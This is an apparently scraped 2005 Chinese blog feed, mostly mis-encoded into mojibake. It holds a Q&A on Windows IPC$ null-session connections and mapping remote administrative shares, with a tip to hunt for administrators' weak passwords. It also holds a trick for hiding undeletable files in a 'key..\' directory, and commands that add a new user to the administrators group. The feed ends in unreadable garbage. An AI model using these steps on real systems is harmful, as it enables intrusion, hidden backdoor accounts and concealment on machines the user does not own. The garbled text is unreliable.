{:IZ话在默认的情况下是可以导出用户列表的Q但如果理员通过修改注册表来止导出列表Q就会出C所说的情况Q还有可能是你自qNBT没有打开Qnetstat命o是徏立在NBT之上的。  


9.我徏立ipc$q接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事Q?/FONT>

{:呵呵Q这说明你已l与目标L建立了ipc$q接Q两个主机间同时建立两个ipc$q接是不允许的?/FONT>


10.我在映射的时候出玎ͼ
F:\>net use h: \\211.161.134.*\e$
pȝ发生 85 错误?BR>本地讑֤名已在用中。这是怎么回事Q?/FONT>

{:你也太粗心了吧,q说明你有一个h盘了Q映到没有的盘W吧Q?/FONT>


11.我徏立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但当我映时出现了错误,向我要密码,怎么回事Q?BR>F:\>net use h: \\*.*.*.*\c$
密码?\\*.*.*.*\c$ 无效?BR>请键?\\*.*.*.*\c$ 的密?
pȝ发生 5 错误?BR>拒绝讉K?/FONT>

{:呵呵Q向你要密码说明你当前用的用户权限不够Q不能映C$q个默认׃nQ想办法提升权限或者找理员的弱口令吧Q默认共享一般是需要管理员权限的?/FONT>


12.我用superscan扫到了一个开?39端口的主机,但ؓ什么不能空q接呢?

{:你؜淆了ipc$?39的关p,能进行ipc$q接的主Z定开?39?45端口Q但开q两个端口的L可不一定能I接,因ؓҎ可以关闭ipc$׃n.


13.我门局域网里的机器大多都是xpQ我用流光扫描到几个administrator帐号口o是空Q而且可以q接Q但不能复制东西Q说错误5。请问ؓ什么?

{:xp的安全性要高一些,在安全策略的默认讄中,Ҏ地帐L|络dq行w䆾验证的时候,默认为来宾权限,即你用理员远E登录,也只h来宾权限Q因此你复制文gQ当然是错误5Q权限不够?/FONT>


14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功Q可?net use i: \\192.168.0.2\c
出现请键?\\192.168.0.2 的密码,怎么回事情呢Q我用的可是理员呀Q应该什么都可以讉K呀Q?/FONT>

{:虽然你具有管理员权限Q但理员在讄c盘共享权限时Q注意:普通共享可以设|访问权限,而默认共享则不能Q可能ƈ未设|允许administrator讉KQ所以会出现上述问题?/FONT>


15.如果自己的机器禁止了ipc$, 是不是还可以用ipc$q接别的机器Q如果禁止server服务呢?

{:止以上两项仍可以发起ipc$q接Q不q这U问题自己动手试验会更好?/FONT>


16.能告诉我下面的两个错误生的原因吗?
c:\>net time \\61.225.*.*
pȝ发生 5 错误?BR>拒绝讉K?/FONT>

c:\>net view \\61.225.*.*
pȝ发生 5 错误?BR>拒绝讉K?/FONT>

{:起初遇到q个问题的时候我也很U闷Q错?表示权限不够Q可是连IZ话的权限都可以完成上面的两个命oQ他Z么不行呢Q难道是他没建立q接Q后来那个粗心的同志告诉我的是q样Q他忘记了自己已l删了ipc$q接Q之后他又输入了上面那两个命令,随之发生了错??/FONT>


17.您看看这是怎么回事Q?BR>F:\>net time
找不到时间服务器?BR>请键?NET HELPMSG 3912 以获得更多的帮助?/FONT>

{:{案很简单,你的命o错了Q应该是net time \\ip
没输入ip地址Q当然找不到服务器。view的命令也应该有ip地址Q即Qnet view \\ip




R.Zeus 2005-12-06 22:30 发表评论
]]>
隐藏文ghttp://www.tkk7.com/RR00/articles/22488.htmlR.ZeusR.ZeusSun, 04 Dec 2005 17:07:00 GMThttp://www.tkk7.com/RR00/articles/22488.htmlhttp://www.tkk7.com/RR00/comments/22488.htmlhttp://www.tkk7.com/RR00/articles/22488.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/22488.htmlhttp://www.tkk7.com/RR00/services/trackbacks/22488.htmlG:\>mkdir key..\Q徏立目录key..\,无法删除/打开Q?/FONT>

G:\>copy a key..\
已复?nbsp;        1 个文件?/P>

G:\>del aQ删除a文gQ这L不到Q搜索也找不刎ͼ

G:\>type key..\aQ可以这h看a的内容,Q?BR>
G:\>copy key..\a g:(或者复制出?

q样可以隐藏文gQ别人看不到也删不掉Q除非用rmdir key..\ /s删除.



R.Zeus 2005-12-05 01:07 发表评论
]]>
NEThttp://www.tkk7.com/RR00/articles/22487.htmlR.ZeusR.ZeusSun, 04 Dec 2005 16:58:00 GMThttp://www.tkk7.com/RR00/articles/22487.htmlhttp://www.tkk7.com/RR00/comments/22487.htmlhttp://www.tkk7.com/RR00/articles/22487.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/22487.htmlhttp://www.tkk7.com/RR00/services/trackbacks/22487.htmlD:\Documents and Settings\Administrator>net user a a /add
命o成功完成?/FONT>


D:\Documents and Settings\Administrator>net localgroup administrators a /add
命o成功完成?/FONT>



R.Zeus 2005-12-05 00:58 发表评论
]]>
վ֩ģ壺 AV߲պŷ| ޹Ʒպav| 100018ѷ˸| ޾ƷĻ| պ߲Ƶһ| ޻Ƭֻѹۿ| 69˳鶹Ƶ| һëƬ붯ѹۿ| avһ߲| Ů˾޸| ƵƷѵĹ| ޾Ʒ| aɫëƬѲƵ| ҹӰ| ޹Ʒ߹ۿ| ޸Ʒһ| һ| һëƬ| 99Ƶѹۿ| ޻ɫַ| 97Ƶ| Ļ˾Ʒһվ| ƷѾþþþþþ| AVվ| 100018Ƶ| wŷs| Ƭѿڵ| ޴Ƭѹۿ| պaëƬa | AVӰ˵| ۺһ| ޳xxxxxӰ| ɫһ| ަvþþ| պAvĻþþ޸| ҳ˿| Ļ | ޾ƷƵ| ˻18س˻18Ƶ | ŷޡŹһ| þŮƷƷ |